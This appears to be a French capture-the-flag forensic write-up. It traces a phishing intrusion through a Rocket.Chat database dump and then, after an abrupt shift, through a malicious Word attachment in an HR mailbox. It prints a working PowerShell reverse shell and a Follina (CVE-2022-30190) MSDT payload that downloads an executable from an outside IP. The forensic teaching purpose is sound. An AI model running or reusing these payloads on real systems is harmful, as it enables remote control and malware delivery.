Le laboratoire IRBF a subi une fuite de données de recherche sur le darkweb, ils suspectent une intrusion via phishing sur leur système Rocket.Chat!
Le laboratoire a récemment été alerté que des données sensibles relatives à ses
travaux de recherche sont en vente sur le dark web. Suite à cette fuite
d'information, une équipe de forensic a été mandatée afin d’identifier l’origine
de l’intrusion.
Des activités anormales ont été détectées sur le système de communication
interne, **Rocket.Chat**, orientant les soupçons vers une possible attaque de
**phishing**. En réponse, la base de données complète de Rocket.Chat a été mise
à disposition de l’équipe forensic afin qu’elle puisse retracer les actions
suspectes et déterminer comment l’attaque a été menée.
Il est important de noter que le laboratoire collabore avec une entreprise
prestataire chargée de la gestion des déchets issus des expériences
scientifiques. Cette entreprise dispose d’un accès au RocketChat de l'IRBF afin
de faciliter la communication. Or, il a été signalé qu’un individu récemment
recruté par ce prestataire ne s’est jamais présenté sur son lieu de travail.
L’équipe cybersécurité considère donc l’hypothèse que cette identité pourrait
avoir été utilisée comme **vecteur d’attaque**, ce qui ferait de cette personne
un point d’entrée potentiel à l’origine de la fuite. Peut-être est-il rentré en
contact avec des membres du personnel plus vulnérables à des messages de
phishing comme les stagiaires?
À partir du cliché de la base de données fourni, on retrouve toutes les
personnes avec qui le stagiaire a discuté. On applique un filtre pour
trouver les fichiers qui ont été envoyés, puis, en lisant les discussions
correspondantes, on identifie une conversation suspecte qui aboutit à
l’envoi d’un fichier.
Toutes les collections du serveur mongodb utilisées par rocket chat ont été
exportées avec mongodump.
Ce cliché contient l'arborescence suivante:
├── dump
│ ├── admin
│ │ ├── system.version.bson
│ │ └── system.version.metadata.json
│ ├── config
│ │ ├── external_validation_keys.bson
│ │ ├── external_validation_keys.metadata.json
│ │ ├── image_collection.bson
│ │ ├── image_collection.metadata.json
│ │ ├── system.indexBuilds.bson
│ │ ├── system.indexBuilds.metadata.json
│ │ ├── system.preimages.bson
│ │ ├── system.preimages.metadata.json
│ │ ├── system.sessions.bson
│ │ ├── system.sessions.metadata.json
│ │ ├── tenantMigrationDonors.bson
│ │ ├── tenantMigrationDonors.metadata.json
│ │ ├── tenantMigrationRecipients.bson
│ │ ├── tenantMigrationRecipients.metadata.json
│ │ ├── transactions.bson
│ │ └── transactions.metadata.json
│ ├── local
│ │ ├── oplog.rs.metadata.json
│ │ ├── replset.election.bson
│ │ ├── replset.election.metadata.json
│ │ ├── replset.initialSyncId.bson
│ │ ├── replset.initialSyncId.metadata.json
│ │ ├── replset.minvalid.bson
│ │ ├── replset.minvalid.metadata.json
│ │ ├── replset.oplogTruncateAfterPoint.bson
│ │ ├── replset.oplogTruncateAfterPoint.metadata.json
│ │ ├── startup_log.bson
│ │ └── startup_log.metadata.json
│ └── parties
│ ├── _queue.bson
│ ├── _queue.metadata.json
│ ├── _raix_push_app_tokens.bson
│ ├── _raix_push_app_tokens.metadata.json
│ ├── instances.bson
│ ├── instances.metadata.json
│ ├── meteor_accounts_loginServiceConfiguration.bson
│ ├── meteor_accounts_loginServiceConfiguration.metadata.json
│ ├── meteor_oauth_pendingCredentials.bson
│ ├── meteor_oauth_pendingCredentials.metadata.json
│ ├── meteor_oauth_pendingRequestTokens.bson
│ ├── meteor_oauth_pendingRequestTokens.metadata.json
│ ├── migrations.bson
│ ├── migrations.metadata.json
│ ├── omnichannel_auto_close_on_hold_scheduler.bson
│ ├── omnichannel_auto_close_on_hold_scheduler.metadata.json
│ ├── omnichannel_queue_inactivity_monitor.bson
│ ├── omnichannel_queue_inactivity_monitor.metadata.json
│ ├── omnichannel_scheduler.bson
│ ├── omnichannel_scheduler.metadata.json
│ ├── pbx_events.bson
│ ├── pbx_events.metadata.json
│ ├── rocketchat__trash.bson
│ ├── rocketchat__trash.metadata.json
│ ├── rocketchat_analytics.bson
│ ├── rocketchat_analytics.metadata.json
│ ├── rocketchat_apps_persistence.bson
│ ├── rocketchat_apps_persistence.metadata.json
│ ├── rocketchat_apps_scheduler.bson
│ ├── rocketchat_apps_scheduler.metadata.json
│ ├── rocketchat_avatars.bson
│ ├── rocketchat_avatars.chunks.bson
│ ├── rocketchat_avatars.chunks.metadata.json
│ ├── rocketchat_avatars.files.bson
│ ├── rocketchat_avatars.files.metadata.json
│ ├── rocketchat_avatars.metadata.json
│ ├── rocketchat_banner.bson
│ ├── rocketchat_banner.metadata.json
│ ├── rocketchat_banner_dismiss.bson
│ ├── rocketchat_banner_dismiss.metadata.json
│ ├── rocketchat_calendar_event.bson
│ ├── rocketchat_calendar_event.metadata.json
│ ├── rocketchat_canned_response.bson
│ ├── rocketchat_canned_response.metadata.json
│ ├── rocketchat_credential_tokens.bson
│ ├── rocketchat_credential_tokens.metadata.json
│ ├── rocketchat_cron.bson
│ ├── rocketchat_cron.metadata.json
│ ├── rocketchat_cron_history.bson
│ ├── rocketchat_cron_history.metadata.json
│ ├── rocketchat_custom_emoji.bson
│ ├── rocketchat_custom_emoji.metadata.json
│ ├── rocketchat_custom_sounds.bson
│ ├── rocketchat_custom_sounds.metadata.json
│ ├── rocketchat_custom_user_status.bson
│ ├── rocketchat_custom_user_status.metadata.json
│ ├── rocketchat_email_inbox.bson
│ ├── rocketchat_email_inbox.metadata.json
│ ├── rocketchat_email_message_history.bson
│ ├── rocketchat_email_message_history.metadata.json
│ ├── rocketchat_export_operations.bson
│ ├── rocketchat_export_operations.metadata.json
│ ├── rocketchat_federation_keys.bson
│ ├── rocketchat_federation_keys.metadata.json
│ ├── rocketchat_federation_room_events.bson
│ ├── rocketchat_federation_room_events.metadata.json
│ ├── rocketchat_federation_servers.bson
│ ├── rocketchat_federation_servers.metadata.json
│ ├── rocketchat_freeswitch_calls.bson
│ ├── rocketchat_freeswitch_calls.metadata.json
│ ├── rocketchat_freeswitch_events.bson
│ ├── rocketchat_freeswitch_events.metadata.json
│ ├── rocketchat_import.bson
│ ├── rocketchat_import.metadata.json
│ ├── rocketchat_import_data.bson
│ ├── rocketchat_import_data.metadata.json
│ ├── rocketchat_integration_history.bson
│ ├── rocketchat_integration_history.metadata.json
│ ├── rocketchat_integrations.bson
│ ├── rocketchat_integrations.metadata.json
│ ├── rocketchat_livechat_agent_activity.bson
│ ├── rocketchat_livechat_agent_activity.metadata.json
│ ├── rocketchat_livechat_business_hours.bson
│ ├── rocketchat_livechat_business_hours.metadata.json
│ ├── rocketchat_livechat_contact.bson
│ ├── rocketchat_livechat_contact.metadata.json
│ ├── rocketchat_livechat_custom_field.bson
│ ├── rocketchat_livechat_custom_field.metadata.json
│ ├── rocketchat_livechat_department.bson
│ ├── rocketchat_livechat_department.metadata.json
│ ├── rocketchat_livechat_department_agents.bson
│ ├── rocketchat_livechat_department_agents.metadata.json
│ ├── rocketchat_livechat_inquiry.bson
│ ├── rocketchat_livechat_inquiry.metadata.json
│ ├── rocketchat_livechat_priority.bson
│ ├── rocketchat_livechat_priority.metadata.json
│ ├── rocketchat_livechat_tag.bson
│ ├── rocketchat_livechat_tag.metadata.json
│ ├── rocketchat_livechat_trigger.bson
│ ├── rocketchat_livechat_trigger.metadata.json
│ ├── rocketchat_livechat_unit_monitors.bson
│ ├── rocketchat_livechat_unit_monitors.metadata.json
│ ├── rocketchat_livechat_visitor.bson
│ ├── rocketchat_livechat_visitor.metadata.json
│ ├── rocketchat_matrix_bridged_rooms.bson
│ ├── rocketchat_matrix_bridged_rooms.metadata.json
│ ├── rocketchat_matrix_bridged_users.bson
│ ├── rocketchat_matrix_bridged_users.metadata.json
│ ├── rocketchat_message.bson
│ ├── rocketchat_message.metadata.json
│ ├── rocketchat_message_reads.bson
│ ├── rocketchat_message_reads.metadata.json
│ ├── rocketchat_moderation_reports.bson
│ ├── rocketchat_moderation_reports.metadata.json
│ ├── rocketchat_notification_queue.bson
│ ├── rocketchat_notification_queue.metadata.json
│ ├── rocketchat_nps.bson
│ ├── rocketchat_nps.metadata.json
│ ├── rocketchat_nps_vote.bson
│ ├── rocketchat_nps_vote.metadata.json
│ ├── rocketchat_oauth_access_tokens.bson
│ ├── rocketchat_oauth_access_tokens.metadata.json
│ ├── rocketchat_oauth_apps.bson
│ ├── rocketchat_oauth_apps.metadata.json
│ ├── rocketchat_oauth_auth_codes.bson
│ ├── rocketchat_oauth_auth_codes.metadata.json
│ ├── rocketchat_oauth_refresh_tokens.bson
│ ├── rocketchat_oauth_refresh_tokens.metadata.json
│ ├── rocketchat_oembed_cache.bson
│ ├── rocketchat_oembed_cache.metadata.json
│ ├── rocketchat_omnichannel_service_level_agreements.bson
│ ├── rocketchat_omnichannel_service_level_agreements.metadata.json
│ ├── rocketchat_permissions.bson
│ ├── rocketchat_permissions.metadata.json
│ ├── rocketchat_read_receipts.bson
│ ├── rocketchat_read_receipts.metadata.json
│ ├── rocketchat_roles.bson
│ ├── rocketchat_roles.metadata.json
│ ├── rocketchat_room.bson
│ ├── rocketchat_room.metadata.json
│ ├── rocketchat_server_events.bson
│ ├── rocketchat_server_events.metadata.json
│ ├── rocketchat_sessions.bson
│ ├── rocketchat_sessions.metadata.json
│ ├── rocketchat_settings.bson
│ ├── rocketchat_settings.metadata.json
│ ├── rocketchat_statistics.bson
│ ├── rocketchat_statistics.metadata.json
│ ├── rocketchat_subscription.bson
│ ├── rocketchat_subscription.metadata.json
│ ├── rocketchat_team.bson
│ ├── rocketchat_team.metadata.json
│ ├── rocketchat_team_member.bson
│ ├── rocketchat_team_member.metadata.json
│ ├── rocketchat_uploads.bson
│ ├── rocketchat_uploads.chunks.bson
│ ├── rocketchat_uploads.chunks.metadata.json
│ ├── rocketchat_uploads.files.bson
│ ├── rocketchat_uploads.files.metadata.json
│ ├── rocketchat_uploads.metadata.json
│ ├── rocketchat_user_data_files.bson
│ ├── rocketchat_user_data_files.metadata.json
│ ├── rocketchat_video_conference.bson
│ ├── rocketchat_video_conference.metadata.json
│ ├── rocketchat_webdav_accounts.bson
│ ├── rocketchat_webdav_accounts.metadata.json
│ ├── rocketchat_workspace_credentials.bson
│ ├── rocketchat_workspace_credentials.metadata.json
│ ├── users.bson
│ ├── users.metadata.json
│ ├── usersSessions.bson
│ └── usersSessions.metadata.json
Le stagiaire thomasdylan a reçu un fichier excel par message privé, de la
part de notre suspect.
L'outil bsondump peut être utilisé pour convertir les fichiers bson en json:
bsondump --outFile=messages.json rocketchat_message.bson
bsondump --outFile=uploads_chunks.json rocketchat_uploads.chunks.bson
bsondump --outFile=uploads_files.json rocketchat_uploads.files.bson
messages.json donne:
{
"file": {
"_id": "681107ba0eb2e377c2f6234e",
"name": "extension_fol.zip",
"type": "application/zip",
"size": {
"$numberInt": "23609"
},
"format": ""
},
"files": [
{
"_id": "681107ba0eb2e377c2f6234e",
"name": "extension_fol.zip",
"type": "application/zip",
"size": {
"$numberInt": "23609"
},
"format": ""
}
],
"attachments": [
{
"ts": "1970-01-01T00:00:00.000Z",
"title": "extension_fol.zip",
"title_link": "/file-upload/681107ba0eb2e377c2f6234e/extension_fol.zip",
"title_link_download": true,
"type": "file",
"description": "",
"format": "ZIP",
"size": {
"$numberInt": "23609"
}
}
],
"u": {
"_id": "zoqTaLq9S6z85jxx4",
"username": "xxxxxxxxx",
"name": "Jill Day"
},
"_updatedAt": {
"$date": {
"$numberLong": "1745946555426"
}
},
}
uploads_files.json donne:
{"_id":"681107ba0eb2e377c2f6234e","length":{"$numberInt":"23609"},"chunkSize":{"$numberInt":"261120"},"uploadDate":{"$date":{"$numberLong":"1745946554706"}},"filename":"681107ba0eb2e377c2f6234e","contentType":"application/zip"}
Le filename est identique à celui trouvé dans le message suspect.
Le champ _id correspond au files_id dans les blocs.
{"_id":{"$oid":"681107ba9a152746ae86ff96"},"files_id":"681107ba0eb2e377c2f6234e","n":{"$numberInt":"0"},"data":{"$binary":{"base64":"UEsDBBQAAAAAAGRQnVoAAAAAAAAAAAAAAAAOACAAZXh0ZW5zaW9uX2ZvbC91eAsAAQQAAAAABAAAAABVVA0AB00GEWiIBhFoDwERaF...
Le joueur découvre alors que le champ base64 est en réalité le contenu du
fichier encodé en base64.
On peut donc l'extraire dans un fichier zip:
#!/bin/bash
> orginal_attachment.zip base64 -d <<< UEsDBBQAAAAAAGRQnVoAAAAAAAAAAAAAAAAOACAAZXh0ZW...
Ce fichier contient le programme malveillant et l'extension web:
extension_fol
├── extension_fol # extension web
│ ├── background.js
│ ├── icon128.png
│ ├── icon16.png
│ ├── icon48.png
│ ├── manifest.json
│ ├── popup.html
│ ├── popup.js
│ └── style.css
└── install_fol.exe # binaire malveillant
À partir de la base de données, on retrouve le fichier qui a été envoyé par l'attaquant en
base64. Une fois décodé, on retrouve l'archive zip reçue. On peut en extraire une
application Windows et une extension pour Edge.
L'exécutable a été codé en powershell et empaqueté en un programme Windows.
Ghidra ou strings suffisent pour retrouver le code powershell original:

Lorsque ce code est décodé en base64, on trouve l'IP de l'attaquant:
$client = New-Object System.Net.Sockets.TCPClient("XX.YY.Z.TT",44000)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (IEX $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
Étant donné le grand nombre de mails et de fichiers en objet, il est difficile de trouver le mail suspect par brute force.
Commencez par analyser les noms de domaine des adresses mail avec grep :
grep -Eoi '@[^.]+\\.[A-Za-z]+' emails_poste_ressources_humaines.mbox | sort | uniq -c
Vous obtenez la sortie suivante:
187 @ficstreet.fr
15 @free.fr
77 @gmail.com
26 @hotmail.com
46 @laposte.net
39 @orange.fr
56 @outlook.com
6 @proton.me
38 @wanadoo.fr
Parmi tous les noms de domaine de mail, un nom ressort proton.me. C'est un service orienté sur l'anonymat donc suspect
Analysez ensuite les mails associés à ce serveur mail, toujours en utilisant grep:
grep -Eoi '.*@proton.me' emails_poste_ressources_humaines.mbox | sort | uniq -c
Vous obtenez la sortie suivante:
2 From: Léa MARCHAND <lea.marchand@proton.me
2 From lea.marchand@proton.me
2 lea.marchand@proton.me
Un seul mail proton est utilisé celui de lea.marchand@proton.me
Pour visualiser les mails, deux options sont possibles:
- Les importer depuis Thunderbird avec l'extension : ImportExportTools NG
- Les ouvrir sur le site WEB: https://www.mbox-viewer.com/`
Cherchez jusqu'à trouver un mail de léa MARCHAND demandant d'éditer un fichier word .docx. Ce mail est celui comportant une pièce jointe vérolée.
Les fichiers avec l'extension .docx sont en fait des fichiers zip. Il suffit de les dézipper
et on obtient l'arborescence suivante:
├── [Content_Types].xml
├── docProps
├── media
├── _rels
└── word
Le fichier à regarder est word/_rels/document.xml.rels, il tente de charger un fichier oleObject depuis une source externe.
Le fichier HTML (proprement indenté pour faciliter la lisibilité) chargé par le .docx est le suivant:
<script>
location.href = "ms-<Outil Windows Vulnérable>:
/id PCWDiagnostic
/skip force
/param
\"IT_RebrowseForFile=?
IT_LaunchMethod=ContextMenu
IT_BrowseForFile=$(
Invoke-Expression(
'[System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String(
"d2dldCBodHRwOi8vNjYuMTE1LjExNC40NC93b3JkLmV4ZQo="
)
)'
)
)
i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
</script>
Voici son fonctionnement:
- Le fichier HTML contient uniquement un bloc de script JS.
- Le script redirige vers une URL, il s'agit d'un appel à l'outil MSDT.
(Microsoft Support Diagnostic Tool) qui est l'outil de diagnostic de Microsoft (logiciel de confiance de Microsoft)
- L'outil MSDT est utilisé pour télécharger l'exécutable malveillant.
- Le logiciel est ensuite exécuté par mpsigstub.exe, qui est un programme de Microsoft (logiciel de confiance de Microsoft)
Avec tout le contexte donné dans l'exercice, une simple recherche Google avec
les mots clés suivants suffit: CVE, 2022, MSDT, Windows.
Les premiers résultats de recherche font référence à la CVE suivante: 2022-30190 appelée follina.
Si vous utilisez clamscan sur le fichier .mbox, ce dernier trouvera directement la CVE dans les mails.